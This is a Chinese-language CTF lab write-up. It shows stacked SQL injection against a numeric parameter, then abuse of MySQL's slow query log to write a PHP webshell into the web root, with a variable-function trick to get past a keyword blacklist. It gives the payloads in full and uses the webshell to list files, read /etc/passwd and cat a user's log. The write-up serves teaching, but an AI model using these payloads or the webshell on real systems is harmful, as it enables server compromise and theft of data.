
考点目录扫描SQL堆叠注入慢查询日志写 webshellfuzz黑名单绕过Linux 命令点击靶机。猜测是SQL注入先用dirsearch进行目录扫描发现robots.txt文件。访问config.php是空白先放在一边再访问/helpyou2findflag.php。先放到一边接下来我们用fuzz测试SQL注入有哪些被过滤了。可以发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。测试是数字型注入还是字符型注入。可以判断是数字型注入因为我们输入的1被执行了而不是被当做字符串。所以在后台实际语句是这样的SELECT * FROM 表名 WHERE id (1);如果我们要将前面的括号闭合就需要主动加一个括号。比如1);你自己的SQL语句-- 这就是SQL注入中的堆叠注入。堆叠 一条接一条堆在一起执行。但堆叠注入因为有分号 ;你可以执行任意多条 SQL 语句想写什么写什么。MySQL 有个功能叫慢查询日志slow query log。作用是把执行时间特别长的 SQL 语句记录到一个文件里方便 DBA数据库管理员排查哪些 SQL 太慢了需要优化。几个关键变量如下变量名作用slow_query_log开关ON 开启OFF 关闭slow_query_log_file日志文件保存的路径long_query_time超过多少秒就算 慢查询默认 10 秒我们先查看 MySQL 中所有名字包含 slow_query_log 的变量。1);show variables like %slow_query_log%;-- show variables like xxx是 MySQL 查看系统变量的固定语法。%是通配符%slow_query_log%表示 名字里只要包含 slow_query_log 就行。slow_query_log | OFF → 慢查询日志目前是关闭的 slow_query_log_file | /var/lib/mysql/xxx-slow.log → 日志文件默认在 MySQL 目录下所以我们开启慢查询日志。1);set global slow_query_log1;-- set global→ 修改全局变量global 表示全局生效slow_query_log1→ 把慢查询日志开关设为 1 开启修改日志文件路径。1);set global slow_query_log_file/var/www/html/helpyou2findflag.php;-- set global slow_query_log_file→ 修改慢查询日志文件的路径/var/www/html/helpyou2findflag.php→ 新的路径所以之后所有 慢查询 的 SQL 语句都会被写进helpyou2findflag.php这个文件里。 而这个文件在网站目录下我们可以通过浏览器访问。要让所有查询都被记录需要修改 long_query_time。正常情况下要触发慢查询日志 SQL 执行时间必须超过long_query_time默认 10 秒。 最简单的方法就是SELECT sleep(11);让 SQL 睡 11 秒肯定超过 10 秒就会被记录。而sleep在fuzz黑名单中被过滤了用不了。但是慢查询日志只会记录超过 long_query_time 时间的查询语句因此要在写入 webshell 的 sql 语句中超过执行耗时命令由于 union 和 sleep 都被过滤所以需要一定的绕过技巧最简单的方式应该是修改 long_query_time 的值。既然 sleep 不能用那我就把 慢 的标准改得极低极低低到随便一条查询都算 慢查询。1);set global long_query_time0.000001;-- 验证一下改成功了没。1);show variables like long_query_time;-- 之后需要写入 webshell也就是一句话木马。最简单的 PHP 一句话木马?php eval($_REQUEST[a]($_REQUEST[b]));?我们通过 URL 传参数a和b它就会执行a(b)。 比如传asystembls就会执行system(ls)列出服务器上的文件。但在fuzz 黑名单可知一句话木马中常见的关键词被过滤了绕过一下。?php $_REQUEST[a]($_REQUEST[b])?这叫可变函数。$_REQUEST[a]取出参数 a 的值比如是system然后($_REQUEST[b])就是调用这个函数参数是 b 的值相当于system(ls);/helpyou2findflag.php?asystembls可以访问到webshell接下来就是找flag在配置文件里查看用户发现有rainbow用户。/helpyou2findflag.php?asystembawk -F: { print $1} /etc/passwd写法功能awk文本处理工具-F指定 按什么符号切分列:用冒号当分隔符...单引号包起来防止 shell 解析{awk 代码块开始print打印 / 输出$1第 1 列}awk 代码块结束/etc/passwd要处理的文件查看家目录发现有ssh.log。/helpyou2findflag.php?asystembls%20/home/rainbowflag就在其中。/helpyou2findflag.php?asystembcat%20/home/rainbow/ssh.log